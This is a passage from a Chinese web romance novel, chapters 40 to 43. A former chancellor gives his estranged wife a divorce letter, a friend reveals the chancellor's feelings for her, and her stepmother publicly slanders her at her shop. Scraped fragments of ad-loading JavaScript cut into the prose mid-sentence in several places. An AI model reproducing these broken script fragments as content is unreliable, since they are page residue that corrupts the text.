魏巍不理他胡搅蛮缠这套,继续道:“你要是不说,我现在就让玄海叫婳儿过来,让她亲自审问你。” “别……”这下紫殷真慌了。他最害怕自己在耿婳面前形象受损。 魏巍抽回短刀,拿起紫殷衣袍的一角擦干血迹,“还不快说。” “你头一回去店里我就觉得蹊跷,后来你给掌柜的写过一封信,她撕碎后我捡起来拼好,知道了你们的关系。”紫殷慢吞吞说。 等他说完,玄海还是出门了。 “别去!”紫殷朝玄海离开的背影喊道。 魏巍笑他:“知道怕了?” “我怕的是掌柜的,又不是你!”紫殷狰狞着面孔,恼火道,“我都说了,为什么还让他去!你个骗子!混账!狗官!” 紫殷骂得越来越凶,魏巍置若罔闻。 他没在理紫殷,转而在案前润笔写着什么。侍卫找了一块脏布塞进了他嘴里。 夜深了,雨彻底停了。过了两刻钟,耿婳披着斗篷随玄海进了书房。 室内一片狼藉。 侍卫们把守在一旁,地上留着暗红血迹。紫殷被人堵着嘴,强行跪在地上。他眼睛猩红湿润,看见她时猛烈摇头,嘴里发着支支吾吾的声响,却听不清在说什么。 书案旁的魏巍放下紫毫,将宣纸上书写的东西吹了吹,转而看向一脸震惊的耿婳。 她厉声对魏巍喊道:“放了他!” 魏巍朝侍卫颔首,“放人。” 侍卫一松手,紫殷立刻柔弱地摊倒在地。 魏巍屏退众人,室内只剩他和耿婳、紫殷。 耿婳赶过去扶人,紫殷顺势倒在她怀里,摸着胸口喘气,就好像已经虚弱到弥留之际了。 魏巍皱了皱眉,“惺惺作态。” 耿婳将他嘴里的破布抽走,“怎么回事,你慢慢说。他要是欺负了你,我替你做主。” “掌柜的……他、他要杀我。”紫殷抖 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着手指向魏巍。 魏巍瞪了他一眼,嗖一声抽出写好的纸张,“睁着眼睛说瞎话。” “掌柜的,你看。”紫殷抬起下巴,像给大人告状一样。 耿婳看到他脖颈上方的一道血痕,触目惊心。 “只是擦破了皮而已。”魏巍冷冷道。 耿婳朝他尖叫:“你为什么动我的人?!” “婳儿,我一个朝廷命官害一个无关紧要的小厮作甚。再有,我要是想杀他在哪里毁尸灭迹都行,干嘛非选自己家里?此地无三百两么?” “那你找我何事。”耿婳冷淡问。 “没有别的事,就是想送你一直想要的东西。”魏巍把写好的和离书双手奉上。 耿婳放开紫殷,拿到和离书时眼睛都直了。 魏巍居然这么轻易放过自己。她努力看着和离书上的字字句句,发现确实没有漏洞后才塌下心来。 “这个东西我喜欢。”耿婳露出久违的笑容。 魏巍好久没见她对他笑过了。他被她会心的微笑刺得心痛不已。表面还要装作淡定:“你喜欢就好,你喜欢我就高兴。” “这倒不必,魏大人。”她是真的很讨厌和他扯上关系,“我已经彻底和你没关系了。” 耿婳又威胁说:“这可是你亲手给我写的。你知道它的分量。以后要是再敢招惹我,公堂上见。” 魏巍垂下头:“不敢。” “以后不许在我眼前晃悠。” “不会。”他轻声许诺。 “以后不许进我的店铺。” “不进。”他只好答应她。 耿婳对他恭顺的态度颇为惊讶,但很满意。她该问的问完了,想要的东西也要到了。 耿婳仔细将和离书折好揣怀里,给紫殷一个“我们走”的眼神。 “等等!”魏巍本能去拦她,又怕碰到斗篷,害她扔掉再踩上几脚。 “你没有别的想问的了?”他舔唇,问了个很傻的问题。 他不想让她这么快离开,却发现已经词穷了。 “你什么时候离开扬州?”她这语气巴不得他马上滚。 魏巍如实道:“少则三月,多则半年。奉旨办完事就回洛阳。” “那就好,祝你早点办完事。以后你走你的阳关道,我过我的独木桥,我们井水不犯河水。”耿婳眼底荡漾着喜悦,说话声音都轻快了。 “虽说续不续弦是你的自由,但我还是告诫魏司马,别随便祸害女孩子。”她临走前不忘补刀。 魏巍被她这话气到了,仍是耐心回道:“也愿耿掌柜不要轻易再嫁,扬州城虽然安宁,但也要当心身边流寇作祟。” 紫殷小声哼哼。 耿婳没回话。心心念念的和离书竟然以这种方式回到身边,她感觉自己灵魂都自由了。 “走吧紫殷,不用装了。”她甩下一句话,拿着和离书轻快走了。 刚刚伏在地上生命垂危的紫殷立刻起身,两三步追上她离开了。 “相爷!就这么放他走了?”玄海回道室内,不服气地问。 魏巍仰头望月,背影萧瑟孑然。 “他是婳儿身边亲信,杀了他,她会恨我的。” “瞧瞧她那跋扈样儿,您这和离书给得太随意了,白白长他人志气!”玄海对耿婳的好感度已经降低为零。 “我若不给,她还会寝食难安,焦虑不宁。” 魏巍叹了口气,“只不过,以后再想见她就师出无名了。” 40. 040 回去路上,耿婳一言不发健步如飞,直到上车都没搭紫殷一句话。 阮若驱车陪她一来的,此时看掌柜的绷着脸,又见紫殷身上挂彩,一时间懵了。 “喂,你该不会老毛病又犯了吧。”阮若小声问。她和紫殷是幽州老乡,多少知道些他的过往。 紫殷好像什么也没听见。 阮若八卦心思起来,都没心思驾车了,两眼放光问:“发生啥了啊,你快说!” “好好赶你的车,一刻钟回不了婳坊月钱扣光!”车厢里传来凌厉的训斥。 “噢,知道啦。”阮若一鞭子抽在马背上,马蹄哒哒踏着水洼飞驰。 “你看她,一年比一年凶。”阮若笑嘻嘻对紫殷耳语。 紫殷没接她的话,仍旧眉头紧锁,看着心事重重。实际上,从魏巍的房间出来他就感觉掌柜微妙的情绪变化。 她刚刚故意在狗官面前装得洒脱而已。 到了婳坊,芊芊执伞在门口等她们。耿婳掀开车帘,阮若和紫殷一左一右要扶她。 耿婳从阮若这边下来。屋檐雨滴连连,她无视紫殷手边的伞,直接去了芊芊那边。 “掌柜的。”紫殷慌了。 耿婳就跟没听见一样,径直去二楼闺房喝完一整杯热茶,才有空找他算账。 芊芊拿火折子点亮灯烛,众人才看清耿婳那张比夜雨还冷肃的脸。 “没你的事,睡觉去。”她摆了芊芊一眼。 “是。”芊芊红着脸走了。 阮若一头雾水,紫殷扑通跪了下来。 “说,为什么去人家府上撒泼?” “我、我就是想帮掌柜的出口气。”紫殷抬起眼皮偷看耿婳,她的眼神示意他继续说。 紫殷又道:“从别馆下山我就跟上他的车,想先探探路。” “然后行迹败露被人抓了个现形?”耿婳讥笑。 紫殷耳根子红了一片,他哪里想到魏巍会提前埋伏。 “谁让她惹你生气,我偏要教训他!”他不忿地说。 温暖的室内弥漫着他周身的血腥味,不用明说都知道他去干什么了。阮若眼睛瞪得大大的,没想到他居然敢刺杀朝廷命官! “偷鸡不成蚀把米,反倒落人话柄,给我惹了一身骚!”耿婳臭骂他一顿,旋即又意识到不对劲。 她即刻问:“我和他的事你知道多少?” 紫殷手指纠缠着:“我、我……” “你怎么敢打听我的私事!谁给你的胆子!”耿婳吼道。 她隐瞒身世远赴扬州就是为了洗清不堪回首的过去。自己都不愿追忆的往事,竟然被身边信得过的人暗地里探听。她能不气吗! “亏我还把你当成得意门生。”耿婳倒吸一口气,眼眶都湿润了。 “掌柜的,我错了。”紫殷膝行过去,揪住她的裙角。 “我不是有意的,可你每回遇到他都思虑不安,我后来把你撕掉的信拼起来读才知道你们原来是夫妻。紫殷绝对没有故意打听你的私事,掌柜的求你不要赶我出去……” 阮若差点惊讶地叫出声。什么,掌柜的和魏司马是夫妻?魏司马原来不是魏相吗?掌柜的在洛阳是丞相夫人?! 阮若再看向耿婳时,对她的崇拜和敬畏更深了一重。 耿婳侧身过去擦干眼泪,转而掏出那张和离书,“啪”一声扣在桌面,颇有种要展示给他们看的架势。 事已至此,隐瞒无用。 “我和姓魏的以后各走各的路,你们先看清立场,哪个敢吃里扒外,我决不轻饶!” “是、是。”紫殷和阮若点头如小鸡啄食。 耿婳过了一会儿才泄气。阮若不合时宜地说:“魏司马,呸!姓魏的怎么这么爽快就给了和离书呢。他每次见了您都不像是想和离的……” 耿婳难得没呛她。她倒是也疑惑这点。 “他肯定是做多了亏心事,怕被报复才给的。”紫殷立刻说。 “罢了,不管他了。以后谁再敢提他——” 二人异口同声:“不敢不敢!” 耿婳满意地点点头。 夜深了,她打发两人回去休息。第二天耿婳起来,眼睛累得睁不开,太阳穴也突突得疼。 三年前熬夜给他缝鞋而损耗的视力如今更是雪上加霜。 耿婳起床收拾好去了医馆。 雨后的春日花红柳绿,空气清新,耿婳漫步在街边小道上,步伐也跟着欢快起来。再想起昨晚要回来的和离书,只觉心里痛快。 “最快还有三个月,最快还有三个月。”她轻声念叨着魏巍离开扬州的期限。 忽而被小石子绊了一下,她思绪跟着一滞,想到之前在洛阳城目睹的朝堂争斗,不由陷入沉思。 他被罢相后,京城的政敌还能许他顺利回去? 当然不能。 保守派费尽心机将他拉下相位,又岂会轻易再将重权还回去? 洛阳司空府内,怀安公主和驸马爷刘理今日上门就是为了此事。 “这有何难,原来是怎么办,现在照旧啊。”王司空自去年旧疾复发,已经无法下榻出屋了。 即便如此,以他的权势依然可以兴风作浪,护住保守一派的安定。 魏巍远在扬州鞭长莫及,那就可以拿他身边人下手。之前王司空为首的人就曾以朋党之由逼他远走兖州,致使新政停滞。 招不在新,管用就行。 “如今圣上想要迁都,他为前路先锋已经去了扬州,正是结党营私的好时候。圣上多疑,为了权衡实力难免猜忌……” 半月后,曾任翰林院学士的许渊被调任岭南。御史台一接到消息,就催命似的逼他上路。魏巍听说此事,立刻上书求情。天子碍于情面以路途遥远之由给了许渊一月的准备期,却没收回旨意。 许渊倒是潇洒,直接奔扬州找挚友一聚,丝毫没有被贬的觉悟。 “汪子元那个孬种,竟不置一词!” “三年前他就是王司空的人了。”魏巍气定神闲地洒下笔墨,为许渊的集文写序。 许渊奇道:“你还有心思笑。” 对啊,他当然想笑。他刚在扬州待了一个月,就有人坐不住了。没想到忌惮他到如此程度,也算是对他侧面的肯定了。 “你想坐以待毙?”许渊立刻替他否决,“不是你的风格啊,伯琳兄。” 魏巍不置可否:“来而不往非礼也。” “想怎么着?”许渊拉过他的酒杯,把酒满上。 “我观扬州官场污浊之风,不输京城。”魏巍说,“刺史王绅更是个不中用的草包。” “你想从他这边下手?”许渊问。王绅是王司空远房堂弟之子,这确实是个很好的切入口。 魏巍推开他送来的酒杯,“暂且没抓住把柄。” 不得不承认,王绅虽然色厉内荏,但处事圆滑,即便知道魏巍和王司空是政敌,但基于自身利益考虑,仍始终对魏巍礼待有加,各方面做得滴水不漏。 许渊一饮而尽,“放饵钓鱼,哪儿能着急啊。” “倒是连累了你,远去岭南,一路艰险。”魏巍拍拍他的肩。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> “半个月后才出发呢。”许渊乐观地说,“再说了,那边好吃的也多。” 说完,他干了魏巍那杯,又拿起酒壶满上。 “也别老我喝啊。”许渊把酒杯往魏巍那边递,“是不是兄弟?看不起我?!” 魏巍盖住杯口,笑道:“不喝你的口水。” “嗐,你这人。酒量差直说嘛。”许渊打了个酒嗝,揉眼醒酒的功夫发现许久不见的好友变了样。 发冠梳得一丝不苟,眼下乌青也少了许多。白衣翩迁,温润静默,简直跟少年郎一样。 “你怎么搞的,有新欢了?”原来可从没见魏大丞相在意过外表。 魏巍垂下眼睫,放下酒杯。 许渊腾一声凑过来斜眼笑:“嘿嘿,果然有事。” “我能有什么事。”魏巍说着撇开眼。 他从芊芊那里得知耿婳在忙西街新店开业的事,经常两头跑。他以为能有偶遇的机会,谁知一次都没碰上。 自从那晚给了和离书后,她就再也没出现过。王夫人那边看出端倪,来撮合的机会都不给了。他怕影响她的名声,就给当时别馆的商户下了命令,不许他们嚼舌根。于是这些天耿婳相安无事,只顾着忙事业。 这也就算了,她为镇场面请了王绅夫妇去剪彩,还一并请了刘长史和张别驾。一众官员都在,就是没有他! 魏巍为这事正生闷气,许渊还要戳他脊梁骨。 “你也是该找个新的了,原来那个再漂亮也没了。”许渊安慰说。 魏巍正气呢,一听这话直接说了实情。 “没死?你就这么放弃了?!”许渊不可思议地说。 相比之下,他对耿婳死而复生不感兴趣,毕竟是个浪漫的文人,这种场景在他的作品里也是常见的。 “当然不是。”其实他说出来,就有向许渊取经的意思。 魏巍给了他一个眼神,许渊秒懂。 “原来你不会追女人啊,哈哈。之前不少同僚以为你有断袖之癖,都不敢和你私交过密。我不敢苟同,以为你是那方面……”许渊欲言又止,看了他下身一眼。 一切尽在不言中。 魏巍一掀酒杯泼他一脸,反唇相讥:“就你行,一把年纪了寻不到媳妇!” “这年头谁还成婚啊。”许渊大笑。 大奉民风开放,市井文化繁荣,勾栏瓦肆遍地都是,想找个相好的随时都行。结婚成家生孩子?不存在的。 魏巍斜眼看他,冷冷说:“我对你成不成婚不感兴趣。你爱吃不吃不想吃去你的岭南,别在本官这里晃悠!” “呦,急了?”他放下酒杯。 “一个字,投其所好!”许渊醉醺醺说,“你知道人家喜欢吃什么喝什么?你知道人家想干什么追求什么?你知道人家为什么不辞而别对你恨之入骨?呐,你这不知道那不知道,还好意思跟人家破镜重圆?我呸!谁愿意跟你圆啊!” 他连珠炮似的说完,因为太过于投入,还喷了魏巍一脸吐沫星子。 魏巍缓缓擦去脸上杂物,不带感情道:“领教了,许大情圣。” “你慢喝,记得结账。”魏巍起身要走。 许渊意识过来,赶紧去哄:“别别,好兄弟,别不理我。我还想留扬州参加花神节呢。” 他这半月都要在魏巍这边蹭吃蹭喝,可不能得罪了这尊大佛。 魏巍不想再搭理他,但是许渊那一连串话就像醒世恒言一样响彻在他耳边。 他突然意识到,即使同塌而眠做过夫妻,他仍然对耿婳知之甚少。 41. 041 那天吃酒后,魏巍开始放养许渊,好像与他相处是一件很丢人的事。 许渊乐在其中,他骨子里风流放任,这几日不是留恋勾栏,就是市集闲逛,淘了不少才子佳你侬我侬的话本子,说是留到岭南路上看。 花神节近在眼前,耿婳提前忙完新店开业事由,特意空出花神节给店里人放了半天假。 晌午一到,她们就歇了。 耿婳随阮若芊芊一起去街上采购花灯,据说夜里临江放河灯,向花神虔诚许愿,可以祝人早结良缘。 耿婳显然已经过了少女思春的年纪,无非图个喜庆才跟去看看。 “花灯上的桃花真好看。”阮若和芊芊比对着灯上装饰。 “随便缝朵花就卖三两银子,真会抓商机。”耿婳瞅了眼店里络绎不绝的顾客,不屑道,“要不是忙新店,我也有时间推出花神庇佑的胭脂香料,生意绝对比他们家好。” “打着花神的名号赚这笔不义之财,花神不会保佑他家!”紫殷提着她们买的东西,跟在耿婳身边帮腔。 阮若和芊芊不以为然,但花灯钱是耿婳付的,也不能说什么。 城内从没这么热闹过。天上烟花绚烂,勾栏里载歌载舞,人声鼎沸;庙会里祈福的人接踵而至,街上货郎售卖吆喝,女郎们欢声笑语,对着月亮许愿。船头、桥边、河岸上都挤满了向花神许愿的青年男女。 耿婳陪她们两个来到岸边。粼粼的水面上布满一盏盏明亮的莲花灯,远远望去仿佛下坠的星河。 芊芊将河灯慢慢放进水面,跪在岸边双手合十。 阮若闭眼嘀咕:“花神保佑我今年一定要嫁出去,花神保佑我今年一定要嫁出去……” “这世上根本没有花神,这世上根本没有花神……”耿婳凑到她耳边说。 “哎呀你讨厌!”阮若气得推搡她。 耿婳大笑着脱了鞋袜,平躺在岸边阶上,双脚在浅水里扑腾。 “走,我们不和她玩!”阮若挽着芊芊往外走。 紫殷立刻坐到她旁边:“掌柜的,我陪你。” “走开,我想一人静静。”耿婳闭目养神,享受着暮春夜里的闲适。 过了一会儿,她旁边又传来脚步声。 耿婳睁开眼睛:“不是让你走开?” 映入眼帘的是个消瘦的男人,穿着淡粉色的袍子,浑身酒气,头上还别着一朵鲜艳的月季。 “敢问姑娘愿与小生同赏月景否?” 耿婳摆了他一眼,“滚。” 这么油腻的开场白言情话本都不写了,竟然还有人搞这一套。 许渊舔着脸凑近:“姑娘好生眼熟。” 耿婳简直想笑,刚要挖苦他几句,忽而看清这人的正脸。死去的记忆开始攻击她,当耿婳想起是谁后,许渊也同样露出恍然的表情。 “魏夫人——”许渊扭头“呸”了一声,笑着说:“耿姑娘,别来无恙。” “幸会,幸会。”耿婳保持风度。 她脑子一团懵,这个远在京城的人为什么出现在扬州。难道他也受到了政敌打压? 这就说明魏巍短时间不会离开扬州了。 耿婳心情一下就不好了,抬脚一踢溅起大片水花。 “什么风把翰林大学士吹到这儿了?”她支头问。 “别别别,这官衔我可担不起。”许渊跟她说了处境。 耿婳稍微开心了一点,“所以你来投靠魏巍的?” “去,给他脸呢。”许渊躺下对着耿婳笑弯了眼,脸颊一片酡红。 “这话老娘爱听。” 许渊饶是惊讶:“你变化可真大。” 他对耿婳的印象一直留在三年前,于是絮叨起家庭。 “你爹砍头后家产充公,你继母和弟弟没钱打点,在狱里足足蹲了两年。”他一边说,一边观察耿婳神色。 果不其然,她露出了复仇后的快意。 “去年那娘儿俩放出来靠乞讨活着,我来扬州前还在城郊遇见他们拾荒,说要来扬州投奔亲戚。” “关我什么事。”耿婳欢快地笑道,“还投奔亲戚,死了才好呢。” 许渊素来爱传八卦,谁想这些消息都没让她惊奇。 “呐,我再给你说个事儿,你可别往外传。” “嗯哼。”耿婳发出一个鼻音。 “魏巍,你认识吧。”许渊凑近,“其实他喜欢你。” “什么?” 夜风吹过耳畔,她以为听错了。 许渊打了个嗝,顿时一片难闻的酒气。耿婳捏着鼻子远离他。 “你刚刚说什么,我没听见。” “我说!”许渊朗声,“他喜欢你!魏巍喜欢你!” 耿婳只觉得耳边的风呼啸得更厉害了。 “嘿嘿,以前不知道吧?”许渊嬉皮笑脸。 “你听他说的?”耿婳扬起眉毛。 许渊道:“这还用说?熟悉他的人一眼都能看出来!不然他凭啥和你个小门小户结婚?噢,婚后还老爱去你房里恩爱,还让你往值房里待!他那种出身的人傲得很,那么大岁数连个通房婢都没有,旁人根本近不了他身,他倒好一个劲儿往你被窝里凑……” 许渊还在喋喋不休:“得亏你活着呢,不然他隔三差五找我哭去。还说什么睹物思人,就那双破鞋穿了三年还不扔……” 耿婳陷入沉思。 “这老男人也是活该,好意思拱这么水灵灵的白菜!今儿落得孑然一身也算遭报应了!” “许渊!” 一声怒吼震得水面发颤。耿婳和许渊闻声扭头,魏巍就在台阶上方,不知道站那里听到了多少。 看表情,怕是和他相关的都听进去了。 “呦,伯琳兄!别来无恙啊!”许渊忘乎所以,高兴地朝他招手。 魏巍盛怒地下台阶:“你给我起来!起来!!” “告辞。”耿婳拿团扇拍了拍许渊头上的月季。路过魏巍时,她不掩惊异地看了他一眼。 魏巍不知如何面对她,一直躲避她的眼神。直到耿婳的身影远去,他三两步拽起烂醉如泥的许渊,叫道:“你跟她说了什么!啊?!” “你不都听见了?”许渊煞有介事说,“看到没,这才叫追姑娘。以前她多恨你啊,刚刚态度不好多了?” 许渊看望耿婳婀娜的身影痴痴发笑。 “你看什么!”他大怒,“你还看?!” 许渊诧异道:“谁不爱看美女啊!” 魏巍怒目圆瞪,气得胸膛起伏。 “许你看就不许我看?” 许渊又补了一刀:“她已经不是你夫人了。” 魏巍一把松开他,任由许渊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 摔了个狗啃泥。 耿婳摇着扇子去寻紫殷等人,最后在一家糕点铺下找到了她们仨。 “掌柜的,什么事你这么高兴?”阮若正在舔糖人。 耿婳笑着摇头:“没什么,就是想通了一些事。” 短暂的花神节后,又回到了工作时间。耿婳提拔阮若做了吉庆街老店的店长,一人带着紫殷和芊芊来了新店。 西街初建,入驻的商铺不算多。城民爱光顾这里,生意自然好。新店开了上下楼层,可惜没有休息的地方,回回中午晚上她都要去老店躺一会儿。 临睡前,她总要先读伍听肆寄来的信。他这些年忙着在暹罗做生意,将那边便宜新奇之物运回来高价卖出,买卖间赚个盆满钵满。 闲暇时刻,她也不忘给伍听肆写信:小肆哥哥,你今年什么时候回来?我跟你说哦,婳儿已经开新店啦。上回给你寄的玫瑰香粉喜欢吗?我最近在研制新的…… 耿婳盘算着这几年的积蓄,心想可以在西街附近买个小院。她在信里告诉了伍听肆。虽然已经自力更生,但这些年她还是愿意与他说些自己的想法和目标。 因为他是她一路上蜕变成长的见证人和引路人。 过了几日,耿婳收到一封请柬。 “为表歉意小生将于明晚酉正于灵云楼顶与您共饮琼浆,同赏明月。美艳动人的耿娘子一定不忍心拒绝我。前京城翰林院大学士许某参上。” 耿婳看着这封矫情造作的请帖就想笑,心情好的时候总会做些顺人心意的决定。 翌日,耿婳准时去了约会地。 灵云楼顶响应本月花神节,专门在楼顶搭建了赏月的亭子,周遭的围栏插满鲜花和柳枝,装点得宛如空中花园。 暮春夜晚,明月当空,温和舒适的风拂过脸颊,吹得人心旷神怡。 耿婳来得早,独自坐在桌前托腮赏月。 “小婳姑娘,没想到你真来了。”过了一炷香的功夫,男人的脚步声传来。 耿婳回头一看。许渊穿着一身灰色直裰,松松垮垮的衣服显得他更加单薄。他好像睡了一觉才醒,松弛得像在自家内室里。 “许大人盛情难却,我怎么好扫了兴致?”耿婳刚想问他这身打扮,就见又有人进来了。 许渊笑嘻嘻说:“哎呀,正好我不认路,伯琳带我来一趟。” 魏巍头戴玉冠,腰佩玉环,一席杏白圆领袍衫凸显身材,领口和袖口用细密的金线绣着几多淡雅娟秀的杏花,绸面丝滑,十分衬他。 怎么看,他都更像个赴约的人。 耿婳还没来得及说什么,许渊突然捂住肚子“哎呦哎呦”叫起来。 魏巍:“怎么了,许兄?” 许渊:“魏兄,我、我突然肚子疼,想去看郎中!” 魏巍:“我陪你去!” 许渊:“别、别,你留下来帮我照顾耿掌柜。我花神节扰她清净,正要摆酒宴道歉!” 魏巍:“好,我替你罢!” 许渊:“多谢!多谢!” 魏巍:“走好。” 许渊拱手做了个夸张的表情以示感激,而后被玄海搀扶着离开了。 魏巍送走许渊,正经八百地坐到耿婳身边。 “耿掌柜,别来无恙。” 他笑得标准,语气温和,好像真的在帮好友应酬似的 42. 042 花神节是专门为痴男怨女牵线搭桥的节日。在整个四月,单身的青年男女可借赏月观花之名私下见面,以示钦慕之意。 魏巍将丝绸包裹着的矩形盒子双手递给她:“这是代许渊送你的赔礼。” 耿婳摆了一眼,夹菜开吃。 魏巍不气也不恼,和颜悦色说:“我记得你在相府就做过生意。” 那时他还不懂夫妻间的相互体谅,只觉得他的夫人没必要受罪去做损伤体面的事。 “你跟你的小肆哥哥一起过来的?” “小肆哥哥”从他嘴里出来真让耿婳想笑。 “听你这意思是怀疑我们有点什么?”耿婳记得当时府里上下怀疑她私通外男,熹微姑姑为此受审还丢给命。 “你明知道,何必多问。” “你们要真有点什么,孩子早都打酱油了。”魏巍随和一笑,又说:“耿婳,为什么不告而别?” 他还是不明白,府里吃穿不愁,衣食周全,她为什么还要诈死远走扬州。甘愿做个忧心忙碌的小商户也不愿养尊处优当他的夫人? 这是他们相遇后第一次平静地聊天,可当他问出这话,耿婳心里又不是滋味了。 “婳儿,回答我。”他轻轻哄劝。 “你以为你如今还是一人之下万人之上的丞相,别人见了你有问必答有话必讲?” 魏巍摇头:“我没有必你回答。但是你愿意告诉我,也许可以解除一些误解。” “哦哦,想知道我为什么离开洛阳魏府,想知道我为什么和伍听肆到了洛阳?那你想不想知道我姑姑为何而死?” 耿婳眼一红,气道:“一饮一啄,莫非前定,自己造的孽自己还去吧!” “还有,你想约见我可以直说,别用这么蹩脚的理由!”耿婳起身离去。 走了几步,她又回身补了一句:“而且,我也不会答应你!” 魏巍起身跟去。 “你跟着我干嘛?!” “我送送你。” “用不着!” 木阶被她踩得嘎嘎作响,她很快将魏巍甩在身后。 男人望着她远去的背影,无奈地笑了。 刚刚她愿意和他共进晚餐是不是?这个夺门而出的结果比他预想的好太多,至少在这之前她还平和的聊天。 “一饮一啄,莫非前定。”魏巍重复着她的话。 他这趟没白跑,她讨厌他是有明确原因的,而这些和熹微姑姑的死有关。 从灵云楼下来后,许渊又登门拜访说要约她出门。阮若知道他和魏巍是一伙的,直接把他赶出了婳坊。自从了解魏巍是掌柜的前夫后,她对此人的印象一落千丈。 又是一天照常营业,耿婳今天是被外面的动静闹醒的。 一个女人的哭丧声响彻街巷。 耿婳起床后,隔着窗户看见一老一小在门外哭喊,分明冲着婳坊来的。 “就是她们!就是这个姓耿的!” “她这个没良心的东西,害苦了我……”跟那老女人一起哭的还有个少年。 耿婳支开窗户,一边听楼下的人哭诉,一边慢条斯理梳妆。她不是没经历过纠纷,多大的场面没见过,自然不会为这些小事担心。 但随着传来的骂声,她渐渐意识到不对劲。 下楼后,耿婳果然看见了两个曾经熟悉的人。 继母杜氏和她没有血缘关系的弟弟。 耿婳观察了好久才认出他们。昔日穿金戴银的杜氏换上了打满补丁的脏衣服,裙边还有被老鼠啃过的痕迹,乱蓬蓬的头发上插着一块木簪。 用落魄来形容她都谦虚了。 旁边的耿钰也好不到哪里去。他个头稍微高了一些,灰头土脸,骨瘦如柴,不细看都认不出这是曾经那位养尊处优的小少爷。 “还真是在狱里磨炼过。”耿婳心里直呼痛快。 开门迎客的阮若不知所措,求助地看向她。 “赏一个铜板。”耿婳快意地笑了。 她这是在打发叫花子? 杜氏勃然大怒,指着她尖叫:“好你个没良心的□□!攀了高枝儿忘了谁生你养你!连你母亲弟弟的死活都不管,我们蹲大牢也不见你探望,自己跑到扬州来享清福赚大钱!你对得起你死去的爹吗?!你个白眼狼,良心被狗吃了……” 杜氏哭丧着脸,字字泣血。 周围不明真相的人听得仔仔细细,一个个愤然看向耿婳,分明在逼她给个说法。 耿婳眼底冒火,抬头看向围观的路人。 这些人哪里是路人?胭脂铺的刘掌柜,香粉店的赛掌柜,卖钗环的薛掌柜,还有各家掌柜身边的亲信小厮。 当然也有一些自发围观的顾客和行人。谁不爱看戏啊!此刻大伙听着杜氏爆出的惊天猛料,各个交换眼神,窃窃私语。 杜氏见势,一屁股坐在婳坊阶前嚎啕大哭。 “滚开!”紫殷要去撵她。 “逆子耿婳,竟然使唤人打你老娘!”紫殷一碰她,杜氏叫唤得更欢,就差地上打滚了。 围观的人越来越多,不少人议论纷纷。芊芊趁人不注意,悄悄溜了出去。 “我从洛阳过来找你,你居然赶我走!是老娘养你长大,忘恩负义的东西!” “这婆娘认识耿婳?”有路人道。 杜氏闻声尖叫:“她为了攀高枝爬了丞相的榻,从商人之女变成相府夫人!后来与他人私通逃到扬州过上舒坦日子,对我们母子不管不顾,任由自己亲爹冤死在狱里!都是你,你这个忘恩负义的小娼妇!” 她跪着拍着台阶,眼底的泪珠洒在地上,好像受了天大的委屈。 一旁的刘掌柜上前故作好意地搀扶住杜氏,柔声说:“老嫂子,你先起来慢慢说。耿掌柜她,真是您女儿?” “她可不是我亲生的闺女。她娘是城里的老妓,骗我老头子上床才进了家门做妾。怀她的时候,我们当家的生意不顺,四处碰壁。等她一生下来就是个妖孽相。” 围观的人群立刻耸动起来。 “哇!原来是娼妓之女。怪不得骨子有股骚劲儿,就爱在男人面前搔首弄姿。”一人咋舌。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 香粉店的赛掌柜说:“下九流的小娼妇,当商人头抬举了。也配挣这么多钱?” 耿婳双眼通红,气得浑身发抖。怒气直冲颅内,大脑里好像有无数烟花爆竹炸开,她一时间根本没办法冷静。盛怒之下,她百口莫辩。 “别看她当上了丞相夫人,人家大官爷才不待见她呢!她在相府里卑躬屈膝,伏低做小,处处受人白眼,没人伺候借走娘家的老嬷嬷,整个人过得连猪狗都不如……”杜氏说个没完没了,把耿婳扒得干干净净。 众人像是听见了大新闻嘀嘀咕咕满嘴没句好话,那些掌柜的一个个忍着窃喜说三道四,唯恐天下不乱。 她最恨、也最害怕被提到京城的过往。这个疯婆子以长母之尊撕下她坚硬的外壳,将内里的脆弱赫然展露。 众人鄙夷又震惊的眼神如一把把利刃扎进她的肌肤。无尽的羞耻感和痛楚涌向耿婳,无尽的怒火和委屈奔涌全身,一时间激得她一个字也说不出来。 杜氏依仗着礼教轻而易举占领了道德高地。她是老人、是长辈,就可以名正言顺地颠倒黑白,就可以随意撒谎得到路人的拥护和声援,就可以堂而皇之地搬弄是非,斥责她、霸凌她! 她怀着报复和恨意来到扬州,就是为了把她名声搞臭! “她店里那些香粉香料,都是从娘家偷来的!她爹屈打成招坐了牢,她趁火打劫掳走了我们家里胭脂香粉的配方!”杜氏仰着头像个炸毛的老母鸡。 周围顿时一片哗然。 薛掌柜惊道:“原来婳坊的脂粉不是她研制的?!” “我还花钱买过她家东西!”围观的女子愤然道。 刘掌柜幽幽道:“怪不得生意这么好呀,原来借了祖上的光。” “我呸!摊上这种不肖子孙真是倒了八百辈子霉!老妈妈你先起来,坐地上凉!” 一人指着耿婳的鼻子就骂:“你怎么好意思在吉庆街卖这么多年货,要不要脸?!” 耿婳气极反笑,刚要回怼又被打断。另一个掌柜喷道:“耿婳!我真是没见过你这种阴险小人!昧着良心赚钱,踩着爹妈的血肉往上爬!” “她这样的人凭什么赚钱?!”刘掌柜红着眼说。 旁边商户立刻附和:“就是啊,还在西市开了新店!耿婳你也配?” “我苦心配的方子卖不出去,她随便偷别人的生意就能红火。什么世道!”这人的口气听不出是气是酸。 他们你一言我一语,根本不给耿婳反驳的机会。甚至耿婳反驳的话,她们不会听,更不会去信。 他们只相信他们想相信的东西。 芊芊一路狂奔,回府后发现魏巍并不在家。守门侍卫说他去了刘长史府上。 她气喘吁吁跑到长史府,还没进大门又被拦下。来不及解释了,芊芊硬往里闯,一下被侍卫撂倒。 这时,魏巍刚好从刺史府出来,随行的还有张别驾等人。 “芊芊姑娘。”魏巍先看到她,玄海立刻过去扶人。 “大人、大人。”芊芊喘着气,“耿掌柜她、她出事了。” 43. 043 论同行之间的嫉妒心有多强?青林别馆上,魏巍以为平息了商户们之间的争斗。可谁知道,那只是个开始。 此刻吉庆街没有一家比婳坊“热闹”。 “婳坊倒闭!耿婳滚出吉庆街!” “婳坊倒闭!耿婳滚出吉庆街!” 